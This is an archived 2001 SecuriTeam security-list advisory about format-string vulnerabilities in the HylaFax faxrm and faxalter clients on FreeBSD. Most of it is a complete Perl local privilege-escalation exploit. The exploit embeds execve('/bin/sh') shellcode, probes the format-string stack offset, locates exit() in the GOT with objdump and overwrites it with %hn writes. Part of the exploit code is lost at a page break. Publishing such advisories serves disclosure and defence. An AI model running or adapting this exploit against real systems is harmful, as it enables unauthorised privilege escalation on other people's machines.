

[EXPL] HylaFax Format String Vulnerabilities (Exploit Code)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0040.html>

From: support@securiteam.com

Date: 10/15/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [EXPL] HylaFax Format String Vulnerabilities (Exploit Code)

Message-Id: <20011015214604.8D60C138C1@mail.der-keiler.de>

Date: Mon, 15 Oct 2001 23:46:04 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

HylaFax Format String Vulnerabilities (Exploit Code)

SUMMARY

There are format strings security vulnerabilities in the latest HylaFax package. Both faxrm and faxalter are installed setuid UUCP on FreeBSD (installed from the port collection). UID uucp is not that exciting but with some luck, you will find UUCP owned binaries running from cron with uid 0.

DETAILS

Vulnerable systems:

HylaFax Client version 4.1-5

Exploit:

```
#!/usr/bin/perl
```

```
# babcia padlina ltd.
```

```
# uid=uucp hylafax/freebsd (<= 4.1.b2) local exploit
```

```
# not intended to use by children under 18
```

Securiteam: [EXPL] HylaFax Format String Vulnerabilities (Explo

bug found by christer.oberg@gmx.net

```
$shellcode = "A" x 5000;
$shellcode .=
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51";
$shellcode .= "\x52\x53\x53\x6a\x3b\x58\xcd\x80";

for($align=0;$align<4;$align++)
{
    $fmt = "0" x $align . "ChujWDupeKomunie" . "%p" x 600;
    $out = `/usr/local/bin/faxrm -h $fmt 1 2>&1`;

    if ($out =~ /0x6a756843/)
    {
        $prematch = $`;
        $eat = 0;

        while($prematch =~ /0x/g)
        {
            $eat++;
        }

        last;
    }
    else
    {
        print "Not vulnerable\n";
        exit;
    }
}

$location = hex(`/usr/bin/objdump -R /usr/local/bin/faxrm | /usr/bin/grep
" exit" | /usr/bin/cut -f1 -d " "`);

$value = 0xbfbfe704; # safe jump address, as we use huge padding

print "Align = $align\n";
print "Eat = $eat\n";
printf("exit() entry @ 0x%x\n", $location);
printf("Shellcode @ 0x%x\n", $value);

$big = $value & 0x0000ffff;
$small = ($value & 0xffff0000) >> 16;

if ($big < $small)
{
    $big ^= $small;
    $small ^= $big;
    $big ^= $small;
}
```

Securiteam: [EXPL] HylaFax Format String Vulnerabilities (Explo

```
$dest_addr[0] = $location;
$dest_addr[1] = $location + 2;
}
else
{
  $dest_addr[0] = $location + 2;
  $dest_addr[1] = $location;
}

$precision[0] = $small - (8 * $eat + 16 + $align);
$precision[1] = $big - $small;

$fmt = "0" x $align . "dupa" . pack('l', $dest_addr[0]) . "chuj" .
pack('l', $dest_addr[1]) . "%.8x" x $eat . "%." . $precision[0] .
"lx%hn" . "%." . $precision[1] . "lx%hn";

system('/usr/local/bin/faxrm', '-h', $fmt, $shellcode);
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:dotslash@snoosoft.com>> KF and
<<mailto:venglin@freebsd.lublin.pl>> Przemyslaw Frasunek.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Ipswitch IMail Multiple Security Vulnerabilities"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)